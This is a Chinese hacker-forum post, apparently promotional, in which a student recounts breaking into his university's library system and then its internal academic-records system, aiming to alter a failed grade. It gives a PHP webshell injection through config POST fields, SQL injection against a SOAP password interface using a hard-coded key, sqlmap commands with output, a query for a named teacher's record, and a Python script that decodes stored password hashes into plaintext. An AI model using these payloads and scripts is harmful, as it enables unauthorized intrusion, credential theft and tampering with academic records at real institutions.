零基礎黑客教程,黑客圈新聞,安全面試經驗
盡在 # 暗網黑客 #
那真是一個悲傷的故事
我始終不明白我一個計網專業的學生為什麼要學電路。
有一個逃課特別多的孩子,老師給了60分,竟然過了。
我這邊53分掛科!
這我就不開心了~
呵呵。只做測試,不改成績
學校主站給教務查詢系統加了一個連結,但通過此處打開教務處,頁面全是靜態,不能很好的進行測試。
猜想在內網內可以,通過教務地址訪問。
於是轉移目標,先來從圖書館下手,等拿下圖書館,從圖書館代理過去搞。
圖書館乃開源的匯文圖書管理系統,敏感信息洩露,呵呵噠:
文件包含漏洞:
登入之後這邊可以看到當前連接的資料庫的一些信息:
至此我們可以隨意修改圖書管理系統的配置。
根據開原始碼分析,發現更新配置時代碼未做過濾
[AppleScript] 純文本查看 複製代碼
?
unction write_para( $strFileName, $strPara )
{
$fhandle = fopen( $strFileName, "wb" );
if ( $fhandle )
{
$strPara = "<?php\n".$strPara."\n?>";
if ( fwrite( $fhandle, $strPara ) )
{
fclose( $fhandle );
$strMsg = "數據修改成功。";
}
else
{
$strMsg = "數據修改失敗。";
}
}
else
{
$strMsg = "數據修改失敗。";
}
return $strMsg;
}
這樣我們可以再在配置文件裡插入任意內容,我們可以配置文件裡追加一句話;
在配置全文索引文件夾路徑時,修改
c:/hwopac/index/
為
c:/hwopac/index/";@eval($_POST['123']);//
更新過配置後,內容保存在的配置文件為:
/include/hwopacpwd.php
於是連接`URL+/include/hwopacpwd.php`即可得到一句話webshell。
下面兩個圖片是在烏雲看到的案例:
然而,我們學校圖書館的更新頁面卻是這樣:
握草,怎麼會這樣。那還真是個悲傷的故事。。。
猜想是運維人員在烏雲看到相關案例,刪除了該表單。
表單被刪,貌似無解。
後來抽根煙想了想,能不能去網上找一個一樣的系統,然後抓取修改那個修改的POST表單,google了一番,沒找到可以利用的。
於是想到自己在頁面構造添加表單,如下圖的文本輸入框:
審查元素插入如下標籤:
<dd><input size="20" name="fulltextPath" value="c:/hwopac/index/";@eval($_POST['123']);//" type="text"></dd
此處的表單name值是通過源碼審計看到的,案例中也有提現。
我們提交表單抓POST包,發現`fulltextPath`的值已經被提交:
測試連接`/include/hwopacpwd.php`,沒有連接上:
我們再來看下這個圖,仔細看,
你會發現其實不只是`fulltextPath`的值沒有被加密,`user`的值也沒有加密
同樣可以被替換,於是淫蕩的思路來了:
`POST`表單`user`值填寫為:
libsys";@eval($_POST['123']);//
提交之後,即可菜刀連接`/include/hwopacpwd.php`,GOOD JOB!
惡意代碼確實如此寫入:
提權略過,直接`SYSTEM`:
#黑客攻防實戰#靶場工具
每節課都附帶
合理合法用來實戰訓練入侵
模擬靶場和黑客工具課件附贈靶場工具
點開圖片 掃碼領取
教務系統部署在內網的某臺機器
為了防止外部攻擊,他們做了一個外部的接口,所有頁面靜態化,很是蛋疼
我使用上述圖書館的機器對內網的教務機器進行了一通掃描
終於找到了他的實際地址:
正方教務系統同樣提供了各類查詢接口
我此處利用`service.asmx`的`BMCheckPassword`接口的注入:
官方給出了如下規範的POST數據包:
[AppleScript] 純文本查看 複製代碼
POST /service.asmx HTTP/1.1
Host: [url]www.baidu.com[/url]
Content-Type: text/xml; charset=utf-8
Content-Length: 784
SOAPAction: "http://www.zf_webservice.com/BMCheckPassword"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<q1:BMCheckPassword xmlns:q1="http://www.zf_webservice.com/BMCheckPassword">
<strYHM xsi:type="xsd:string">string</strYHM>
<strPassword xsi:type="xsd:string">string</strPassword>
<xh xsi:type="xsd:string">string</xh>
<strKey xsi:type="xsd:string">KKKGZ2312</strKey>
</q1:BMCheckPassword>
</soap:Body>
</soap:Envelope>
上述`sKey = "KKKGZ2312"`為常量,有了`sKey`就可以去查詢一些接口了。
`strYHM`表示用戶名,我已經嚇哭,好像都是用拼音:
此處沒做過濾,直接構造語句使用Intruder模塊:
jwc01' and (SELECT SUBSTR(TO_CHAR(KL),1,1) from yhb where yhm='jwc01')='a
`payoad`為:`a-z`、`A-Z`、`0-9`、`~!@#$%^&*()_+[]{}\|<>:"';`
不知為何用BurpSuite跑起來很慢。。
我把POST數據包複製出來交給SQLMAP:
python sqlmap.py -r post.txt
GOOD JOB!
[14:31:40] [INFO] fetching tables for databases: 'CTXSYS, DBSNMP, DMSYS, EXFSYS, MDSYS, OLAPSYS, ORDSYS, OUTLN, SCOTT, SYS, SYSMAN, SYSTEM, TSMSYS, WMSYS, XDB, ZFXFZB'
[14:31:40] [INFO] the SQL query used returns 3389 entries
那麼問題來了,幾千個表,怎麼找教師用戶密碼的表?幸虧我拼音好:
我掛科的是電子電工,老師叫張X,姓名對應的欄位為XM,這拼音拼的啊。。。
這就好辦了,用`--sql-shell`查詢:
select * from "YHB" where XM = '張X';
恩~,得到密文為`U_rBKJ`,這是經過正方的特殊加密的,我們用python腳本解開:
[AppleScript] 純文本查看 複製代碼
# python
# coding=utf-8
import sys
def crack_zhengfang( pwdhash, key="Encrypt01" ):
len_passwd = len( pwdhash )
len_key = len( key )
pwdhash = pwdhash[: len_passwd/2][::-1] + pwdhash[len_passwd/2 :][::-1]
passwd = ''
Pos = 0
for i in xrange( len_passwd ):
Pos %= len_key
Pos += 1
strChar = pwdhash
KeyChar = key[Pos-1]
ord_strChar = ord( strChar )
ord_KeyChar = ord( KeyChar )
if not 32 <= ( ord_strChar ^ ord_KeyChar ) <= 126 or not 0 <= ord_strChar <= 255:
passwd += strChar
else:
passwd += chr( ord_strChar ^ ord_KeyChar )
return passwd
if __name__ == '__main__':
if len(sys.argv) != 2:
print "Usage: crackZF.py passwdhash"
sys.exit(1)
else:
print "Password:", crack_zhengfang( pwdhash=sys.argv[1], key="Encrypt01" )
promote pythonDemo v5est0r$ python zhengfang.py "U_rBKJ"
Password: 716822
`Password: 716822`
接著登入該老師的教務系統,錄入成績。。。
錄入成績需要密碼,密碼???
我根據官方給出的錄入成績密碼欄位沒查到密碼啊。。。空的也不行。
不急,慢慢來。
太悲傷了,補考估計也會掛掉,太悲傷了。